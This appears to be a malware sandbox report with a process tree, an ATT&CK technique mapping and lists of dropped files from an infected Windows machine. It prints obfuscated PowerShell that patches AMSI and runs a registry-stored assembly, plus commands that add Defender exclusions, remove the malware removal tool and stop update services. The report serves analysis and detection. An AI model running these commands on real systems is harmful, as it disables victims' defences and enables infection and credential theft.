C:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exeC:\Windows\system32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe1⤵
-
C:\Users\Admin\Pictures\svchost.exeC:\Users\Admin\Pictures\svchost.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
-
C:\Windows\system32\fxssvc.exeC:\Windows\system32\fxssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\msiexec.exeC:\Users\Admin\AppData\Local\Temp\msiexec.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"1⤵
-
C:\Windows\System32\msdtc.exeC:\Windows\System32\msdtc.exe1⤵
-
\??\c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"c:\Program Files\Common Files\Microsoft Shared\Source Engine\OSE.EXE"1⤵
-
C:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exeC:\Windows\system32\PerceptionSimulation\PerceptionSimulationService.exe1⤵
-
C:\Windows\SysWow64\perfhost.exeC:\Windows\SysWow64\perfhost.exe1⤵
-
C:\Windows\system32\locator.exeC:\Windows\system32\locator.exe1⤵
-
C:\Windows\System32\SensorDataService.exeC:\Windows\System32\SensorDataService.exe1⤵
-
C:\Windows\System32\snmptrap.exeC:\Windows\System32\snmptrap.exe1⤵
-
C:\Windows\system32\spectrum.exeC:\Windows\system32\spectrum.exe1⤵
-
C:\Windows\System32\OpenSSH\ssh-agent.exeC:\Windows\System32\OpenSSH\ssh-agent.exe1⤵
-
C:\Windows\system32\TieringEngineService.exeC:\Windows\system32\TieringEngineService.exe1⤵
-
C:\Windows\system32\AgentService.exeC:\Windows\system32\AgentService.exe1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s SharedRealitySvc1⤵
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Windows\system32\SearchIndexer.exeC:\Windows\system32\SearchIndexer.exe /Embedding1⤵
-
C:\Windows\system32\SearchProtocolHost.exe"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"2⤵
-
-
C:\Windows\system32\SearchFilterHost.exe"C:\Windows\system32\SearchFilterHost.exe" 0 920 924 932 8192 928 9042⤵
-
-
C:\Program Files\VMware\vmtoolsd.exe"C:\Program Files\VMware\vmtoolsd.exe" kernel32.dll,Sleep1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:IyvbrsaMtXmk{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hlOQFtcdTZLVTK,[Parameter(Position=1)][Type]$jADwiZPTsc)$VsfdOWqGsiK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'or'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'e',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+'e','C'+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'ns'+[Char](105)+''+[Char](67)+'l'+'a'+''+'s'+''+'s'+''+[Char](44)+'A'+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+'s'+[Char](115)+'',[MulticastDelegate]);$VsfdOWqGsiK.DefineConstructor(''+[Char](82)+''+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+'ia'+'l'+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+'g'+','+''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$hlOQFtcdTZLVTK).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+'me'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$VsfdOWqGsiK.DefineMethod('Inv'+'o'+''+[Char](107)+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+'l'+'i'+''+'c'+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+'ig,'+'N'+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+[Char](111)+'t'+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$jADwiZPTsc,$hlOQFtcdTZLVTK).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $VsfdOWqGsiK.CreateType();}$RpUbijhWSjjjI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'t'+'e'+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'of'+[Char](116)+''+[Char](46)+'W'+'i'+'n'+[Char](51)+''+[Char](50)+''+'.'+'U'+[Char](110)+'s'+[Char](97)+''+[Char](102)+''+'e'+''+'N'+''+[Char](97)+'ti'+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$RMImVpVWhGYRZY=$RpUbijhWSjjjI.GetMethod('G'+[Char](101)+''+'t'+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+'d'+''+[Char](100)+'r'+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+'lic'+','+''+'S'+''+[Char](116)+''+'a'+'t'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BtSshwTIORBEWwGDoDo=IyvbrsaMtXmk @([String])([IntPtr]);$OjlBmuZHiDHhJhzhtIyUcT=IyvbrsaMtXmk @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QcXJTVKsRzQ=$RpUbijhWSjjjI.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+'3'+[Char](50)+''+[Char](46)+'dl'+[Char](108)+'')));$MjPaUmmEvSiyDZ=$RMImVpVWhGYRZY.Invoke($Null,@([Object]$QcXJTVKsRzQ,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+[Char](114)+''+'a'+'r'+[Char](121)+''+[Char](65)+'')));$LjgxYeqGVjfEvFjsb=$RMImVpVWhGYRZY.Invoke($Null,@([Object]$QcXJTVKsRzQ,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+'tec'+[Char](116)+'')));$vJiGuVD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MjPaUmmEvSiyDZ,$BtSshwTIORBEWwGDoDo).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$geAnvfSSNNrOqBlzq=$RMImVpVWhGYRZY.Invoke($Null,@([Object]$vJiGuVD,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$CsSArGLoNx=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LjgxYeqGVjfEvFjsb,$OjlBmuZHiDHhJhzhtIyUcT).Invoke($geAnvfSSNNrOqBlzq,[uint32]8,4,[ref]$CsSArGLoNx);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$geAnvfSSNNrOqBlzq,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LjgxYeqGVjfEvFjsb,$OjlBmuZHiDHhJhzhtIyUcT).Invoke($geAnvfSSNNrOqBlzq,[uint32]8,0x20,[ref]$CsSArGLoNx);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+'e'+[Char](114)+'s'+[Char](116)+''+[Char](97)+'ge'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\ProgramData\vpguxyntopdh\smkjxilnzidd.exeC:\ProgramData\vpguxyntopdh\smkjxilnzidd.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
-
-
C:\Windows\system32\dialer.exedialer.exe2⤵
-
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gsvLGZQwRZNv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vrXTreihkBkVgn,[Parameter(Position=1)][Type]$ZwdRqlvIhT)$ujrttyvRSzn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+'e'+[Char](102)+'l'+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+'e'+''+'g'+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+''+'m'+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+'l'+'e'+'gat'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+','+'P'+[Char](117)+'bl'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'l'+'e'+''+[Char](100)+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+'ss,'+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$ujrttyvRSzn.DefineConstructor(''+[Char](82)+''+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$vrXTreihkBkVgn).SetImplementationFlags('Ru'+[Char](110)+''+'t'+'im'+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');$ujrttyvRSzn.DefineMethod(''+[Char](73)+''+'n'+'vo'+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+'S'+'i'+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+''+','+''+[Char](86)+''+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$ZwdRqlvIhT,$vrXTreihkBkVgn).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $ujrttyvRSzn.CreateType();}$iVgLUJkSCkIvB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+'t'+''+'e'+'m'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType('Mi'+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+''+[Char](46)+''+'W'+''+[Char](105)+''+'n'+''+[Char](51)+'2'+'.'+''+'U'+''+'n'+''+[Char](115)+'af'+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+'v'+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$MroKoSIeGCnJmV=$iVgLUJkSCkIvB.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qNMytaMtDmvuedShUHq=gsvLGZQwRZNv @([String])([IntPtr]);$DPWavAfDYsNpnRNJKnHsjN=gsvLGZQwRZNv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QEiNYAtOpdQ=$iVgLUJkSCkIvB.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+'M'+''+[Char](111)+''+[Char](100)+''+'u'+''+'l'+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')));$pMoOEsxRIZeGUZ=$MroKoSIeGCnJmV.Invoke($Null,@([Object]$QEiNYAtOpdQ,[Object](''+'L'+'o'+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$TNjhVwwMoPTGiEMiE=$MroKoSIeGCnJmV.Invoke($Null,@([Object]$QEiNYAtOpdQ,[Object]('V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+'al'+'P'+'r'+[Char](111)+'t'+[Char](101)+''+'c'+''+[Char](116)+'')));$zXsfMMm=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pMoOEsxRIZeGUZ,$qNMytaMtDmvuedShUHq).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+'.'+'d'+'l'+'l');$fsEKEbsTaROCxuChx=$MroKoSIeGCnJmV.Invoke($Null,@([Object]$zXsfMMm,[Object](''+[Char](65)+''+[Char](109)+'s'+[Char](105)+''+'S'+''+[Char](99)+''+'a'+'n'+'B'+''+[Char](117)+''+'f'+''+'f'+''+[Char](101)+'r')));$jlrZokkVCb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TNjhVwwMoPTGiEMiE,$DPWavAfDYsNpnRNJKnHsjN).Invoke($fsEKEbsTaROCxuChx,[uint32]8,4,[ref]$jlrZokkVCb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$fsEKEbsTaROCxuChx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TNjhVwwMoPTGiEMiE,$DPWavAfDYsNpnRNJKnHsjN).Invoke($fsEKEbsTaROCxuChx,[uint32]8,0x20,[ref]$jlrZokkVCb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+'l'+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"1⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Roaming\defender\defender.exeC:\Users\Admin\AppData\Roaming\defender\defender.exe1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\runtimeprovider.exeC:\Users\Admin\runtimeprovider.exe1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9342bab1-061a-4a93-9c43-bc031015cea4}1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f762f825-cfee-4c4b-9d97-049c9b0d204d}1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows SystemEnv Core"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
3File/Path Exclusions
1Hidden Files and Directories
1Hidden Window
1Impair Defenses
2Disable or Modify Tools
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Virtualization/Sandbox Evasion
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3Replay Monitor
Loading Replay Monitor...
Downloads
e590130.rbs
build.exe
lsbhd.exe
svvZj1tuIGiJ
settings.dat
settings.dat
Edge Profile.ico
SCT Auditing Pending Reports
Secure Preferences
Local State
Local State
vnanrjutptsc[1].exe
3588609497
Microsoft.Deployment.WindowsInstaller.dll
CustomAction.config
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_vvsrgcxf.t2o.ps1
ffcookies_92f59fcc-75ff-4f3c-81bf-597b2250ae87.db
Organized_2012.109_INSTALL.tmp
temp_executable.exe
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
LPU50392T9Q3ULQNTIWE.temp
subprocess.exe
javae.exe
e59012f.msi
cache.txt
cache.txt
memory/468-458-0x000001F7614E0000-0x000001F76158D000-memory.dmp
memory/868-496-0x0000020356750000-0x00000203567EB000-memory.dmp
memory/1612-457-0x000001A4BB1D0000-0x000001A4BB27D000-memory.dmp
memory/1792-380-0x000002BB45B60000-0x000002BB45B68000-memory.dmp
memory/1840-505-0x0000000140000000-0x0000000140039000-memory.dmp
memory/1840-460-0x000002BD26990000-0x000002BD26A2B000-memory.dmp
memory/2052-345-0x000001E7FF6A0000-0x000001E7FF73B000-memory.dmp
memory/2052-347-0x0000000070180000-0x000000007022A000-memory.dmp
memory/2064-144-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-148-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-140-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-139-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-150-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-149-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-358-0x0000020523320000-0x00000205233BB000-memory.dmp
memory/2064-138-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-145-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-147-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2064-146-0x000002052AC70000-0x000002052AC71000-memory.dmp
memory/2316-1392-0x000001E92E690000-0x000001E92E6A0000-memory.dmp
memory/2316-309-0x000001E915E80000-0x000001E915EA2000-memory.dmp
memory/2316-410-0x000001E92E310000-0x000001E92E3BD000-memory.dmp
memory/2896-459-0x000002AE1AF20000-0x000002AE1AFBB000-memory.dmp
memory/3068-504-0x00007FF72F6E0000-0x00007FF730047000-memory.dmp
memory/3068-426-0x00007FF72F6E0000-0x00007FF730047000-memory.dmp
memory/3068-1101-0x00007FF72F6E0000-0x00007FF730047000-memory.dmp
memory/3068-452-0x00007FF72F6E0000-0x00007FF730047000-memory.dmp
memory/3068-444-0x00007FF72F6E0000-0x00007FF730047000-memory.dmp
memory/3384-173-0x00007FF724D00000-0x00007FF724DE6000-memory.dmp
memory/3384-1983-0x00007FF724D00000-0x00007FF724DE6000-memory.dmp
memory/3384-406-0x00007FF724D00000-0x00007FF724DE6000-memory.dmp
memory/3384-928-0x00007FF724D00000-0x00007FF724DE6000-memory.dmp
memory/3876-412-0x000002278B6B0000-0x000002278B75D000-memory.dmp
memory/3876-411-0x00007FF6E7800000-0x00007FF6E781E000-memory.dmp
memory/3876-188-0x00007FF6E7800000-0x00007FF6E781E000-memory.dmp
memory/3924-174-0x00007FF6C0040000-0x00007FF6C0126000-memory.dmp
memory/3924-407-0x00007FF6C0040000-0x00007FF6C0126000-memory.dmp
memory/3924-929-0x00007FF6C0040000-0x00007FF6C0126000-memory.dmp
memory/3924-1428-0x00007FF6C0040000-0x00007FF6C0126000-memory.dmp
memory/3948-240-0x0000000005CA0000-0x000000000611E000-memory.dmp
memory/3948-191-0x0000000004EF0000-0x0000000004F40000-memory.dmp
memory/3948-189-0x0000000005070000-0x0000000005232000-memory.dmp
memory/3948-1143-0x00000000055A0000-0x00000000055B2000-memory.dmp
memory/3948-1142-0x0000000005570000-0x000000000557A000-memory.dmp
memory/3948-216-0x00000000052E0000-0x00000000052FE000-memory.dmp
memory/3948-590-0x0000000007350000-0x00000000073B6000-memory.dmp
memory/3948-409-0x0000000005300000-0x0000000005307000-memory.dmp
memory/3948-408-0x00000000026D0000-0x00000000026D6000-memory.dmp
memory/3948-197-0x0000000005770000-0x0000000005C9C000-memory.dmp
memory/3948-192-0x0000000004FC0000-0x0000000005036000-memory.dmp
memory/3948-178-0x0000000000330000-0x00000000005B4000-memory.dmp
memory/4220-344-0x00000267A1F90000-0x00000267A202B000-memory.dmp
memory/4424-217-0x00000260D5080000-0x00000260D511B000-memory.dmp
memory/4836-405-0x0000020A16DC0000-0x0000020A16E5B000-memory.dmp
memory/4928-325-0x0000000005270000-0x0000000005282000-memory.dmp
memory/4928-215-0x0000000005040000-0x00000000050D2000-memory.dmp
memory/4928-213-0x0000000004CE0000-0x0000000005034000-memory.dmp
memory/4928-207-0x0000000000280000-0x0000000000370000-memory.dmp
memory/4928-220-0x0000000002830000-0x000000000283A000-memory.dmp
memory/4928-210-0x0000000005290000-0x0000000005834000-memory.dmp
memory/4928-1033-0x0000000006180000-0x0000000006252000-memory.dmp
memory/4928-311-0x0000000006A80000-0x0000000006B54000-memory.dmp
memory/4928-1044-0x0000000006330000-0x00000000063CC000-memory.dmp
memory/5180-513-0x00007FF6D4E80000-0x00007FF6D5514000-memory.dmp
memory/5180-514-0x000002679DA70000-0x000002679DB0B000-memory.dmp
memory/5180-520-0x000002679F6C0000-0x000002679F931000-memory.dmp
memory/5256-515-0x00007FF77B370000-0x00007FF77BA15000-memory.dmp
memory/5256-516-0x00000186B9640000-0x00000186B96ED000-memory.dmp
memory/5316-428-0x00000249399B0000-0x00000249399B1000-memory.dmp
memory/5444-461-0x0000000140000000-0x0000000140002000-memory.dmp
